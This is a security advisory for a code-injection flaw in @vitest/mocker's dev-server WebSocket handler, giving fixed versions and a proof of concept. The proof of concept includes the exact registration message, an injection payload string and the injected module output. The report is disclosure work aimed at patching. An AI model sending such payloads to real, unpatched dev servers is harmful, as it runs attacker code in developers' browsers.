GHSA-qxg6-89mg-rqv8: Code Injection

Published Oct 21, 2026
·
Updated

Summary

@vitest/mocker's interceptorPlugin accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's url into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin.

Same handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (8ff9b9a9efca7c6cfd5243569440de8d7a33aec4, PR #10972) hardened only the redirect branch and left the manual branch reaching the unescaped generator.

Patches

Fixed in @vitest/mocker 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. createManualModuleSource now serializes the module URL and the export names with JSON.stringify, so a registered mock cannot change the generated code.

Projects that call mockerPlugin() or interceptorPlugin() directly need @vitest/mocker 4.1.12 or 5.0.3.

Details

packages/mocker/src/utils.ts:6-9 builds module source by string interpolation:

ts export function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '"vitestmocker"'): string { const source = const factoryModule = await globalThis[${globalAccessor}].getFactoryModule("${moduleUrl}");

moduleUrl lands inside a double-quoted JavaScript string with no escaping or validation.

packages/mocker/src/node/interceptorPlugin.ts:66-93 feeds it straight from the socket:

ts configureServer(server) { if (options.registerWebSocketEvents === false) { return } server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) => { if (event.type === 'manual') { const module = ManualMockedModule.fromJSON(event, async () => { const keys = await getFactoryExports(event.url) return Object.fromEntries(keys.map(key => [key, null])) }) registry.add(module) // no validation of id or url } else { if (event.type === 'redirect') { / fs allowlist check added in #10972 / }

event.id chooses which module is hijacked; event.url is what gets interpolated. The load hook (interceptorPlugin.ts:30-44) then returns createManualModuleSource(mock.url, exports, accessor) for that id.

With url = 'x"); globalThis.ARESINJECTED = 1; void("' a request for /src/app.js is answered with valid, executable JavaScript:

js const factoryModule = await globalThis["vitestmocker"].getFactoryModule("x"); globalThis.ARESINJECTED = 1; void("");

getFactoryExports (interceptorPlugin.ts:103-117) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into factoryModule["X"], export { 0 as "X" } and resolvedModule["X"], and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; url is the exploited one.

Who can reach the socket. Vite 8 answers HTTP 400 to any HMR upgrade carrying an Origin header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for https://evil.example and http://localhost:3000. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published.

PoC

poc/mocker-manual-mock-injection/ — repro.sh (exit 0 = vulnerable), poc.mjs, expected.txt, env.txt. Everything lives under a fresh mktemp directory deleted on exit, the dev server binds to 127.0.0.1 on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it.

Environment: commit 9e1166959e14bd32298d8a0e85352431c769ec7a, @vitest/mocker 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x8664.

bash git clone https://github.com/vitest-dev/vitest && cd vitest git checkout 9e1166959e14bd32298d8a0e85352431c769ec7a pnpm install && pnpm build REPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh

Required configuration — the public setup documented in packages/mocker/EXPORTS.md, which the harness reproduces (mockerPlugin() wires interceptorPlugin the same way):

ts import { interceptorPlugin } from '@vitest/mocker/node' export default defineConfig({ plugins: [interceptorPlugin()] }) // or mockerPlugin()

The attack is one WebSocket message to ws://<host>:<port>/ with subprotocol vite-hmr:

json { "type": "custom", "event": "vitest:interceptor:register", "data": { "type": "manual", "raw": "", "id": "<abs path of a served module>", "url": "x\"); globalThis.ARESINJECTED = 1; void(\"" } }

then answering the server's vitest:interceptor:resolve with {"type":"custom","event":"vitest:interceptor:resolved","data":{"url":"<same url>","keys":["a"]}}. The module id can be obtained from the same socket via vitest:mocks:resolveId when mockerPlugin() is used.

Observed output:

PASS precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example result=400 PASS precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000 result=400 PASS negative control: with no mock registered the real module is served PASS negative control: a mock with a harmless url replaces the module but injects nothing --- module served for /src/app.js --- const factoryModule = await globalThis["vitestmocker"].getFactoryModule("x"); globalThis.ARESINJECTED = 1; void("");

let 0 = factoryModule["a"] export { 0 as "a" } if (factoryModule.factoryPromise != null) { factoryModule.factoryPromise.then((resolvedModule) => { 0 = resolvedModule["a"]; }) } PASS attacker statement is present in the module the dev server serves PASS the real module body was replaced PASS the injected module parses as JavaScript (Vite import analysis accepted it)

RESULT: VULNERABLE

Positive control — with no mock registered, /src/app.js is served with its real body, so the harness demonstrably works. Negative control — the same registration with a harmless url replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration. Precondition controls — the two Origin probes record the boundary honestly. Vite's import analysis rejects malformed output (an earlier deliberately-broken payload failed with "content contains invalid JS syntax"), so acceptance proves the injected module is valid, executable JavaScript.

Reproduced three times from a clean mktemp fixture, exit 0 each time.

Impact

Code injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer's browser on the dev-server origin: reading source through the dev server, reading that origin's storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public mockerPlugin()/interceptorPlugin() API documented in packages/mocker/EXPORTS.md. Node runs do not register these handlers. Development-only — configureServer does not run for vite build or vite preview.

Credits

- Thai Son Dinh from VinSOC Labs (R&D)

Disclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.

Affected Software

2 affected componentsFixes available
npm/@vitest/mocker>=5.0.0-beta.1<5.0.3
5.0.3
npm/@vitest/mocker>=2.1.0-beta.7<4.1.12
4.1.12

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@vitest/mocker to a version that resolves this vulnerability.

    Fixed in 5.0.3
  2. Upgrade

    Upgrade npm/@vitest/mocker to a version that resolves this vulnerability.

    Fixed in 4.1.12
  3. Upgrade

    Upgrade @vitest/mocker to a version that resolves this vulnerability.

    Fixed in 5.0.3
  4. Upgrade

    Upgrade @vitest/mocker to a version that resolves this vulnerability.

    Fixed in 4.1.12

Event History

Oct 21, 2026
Advisory Published
via GitHub·07:54 PM
Data Sourced
via GitHub·07:54 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

Projects using @vitest/mocker that call mockerPlugin() or interceptorPlugin() directly are affected before versions 4.1.12 and 5.0.3. Exposure requires that an attacker can reach the Vite development server WebSocket.

2

What does an attacker need to exploit this?

No authentication is required for mock registration. The attacker needs network access to the dev server and a developer browser that loads the attacker-controlled mocked project module from the dev-server origin.

3

What is the impact of successful exploitation?

An attacker can register a mock whose URL changes generated module source, causing the dev server to serve arbitrary JavaScript in place of a project module. That JavaScript executes in the developer's browser on the dev-server origin.

4

How is this fixed?

Upgrade @vitest/mocker to 5.0.3 or 4.1.12. The fix serializes registered module URLs and export names with JSON.stringify before generating module source.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203